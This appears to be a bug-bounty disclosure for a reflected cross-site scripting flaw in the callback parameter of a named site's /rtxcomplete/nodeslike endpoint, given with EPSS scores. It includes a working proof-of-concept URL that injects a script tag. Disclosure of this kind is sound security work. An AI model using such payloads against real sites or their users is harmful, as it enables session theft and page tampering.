Lucene search

K
huntr0xraw101A2A31-0B27-433A-AD3A-A216238CA4D1
HistoryApr 29, 2022 - 5:47 a.m.

Reflected XSS

2022-04-2905:47:42
0xraw
www.huntr.dev
18

0.001 Low

EPSS

Percentile

30.0%

Description

hello team,
i found a reflected xss in /rtxcomplete/nodeslike via callback parameter

Proof of Concept

https://arax.rtx.ai/rtxcomplete/nodeslike?_=1651210002052&callback=%3CScRiPt%20%3Ealert(document.domain)%3C/ScRiPt%3E&limit=15&word=1

0.001 Low

EPSS

Percentile

30.0%

Related for 101A2A31-0B27-433A-AD3A-A216238CA4D1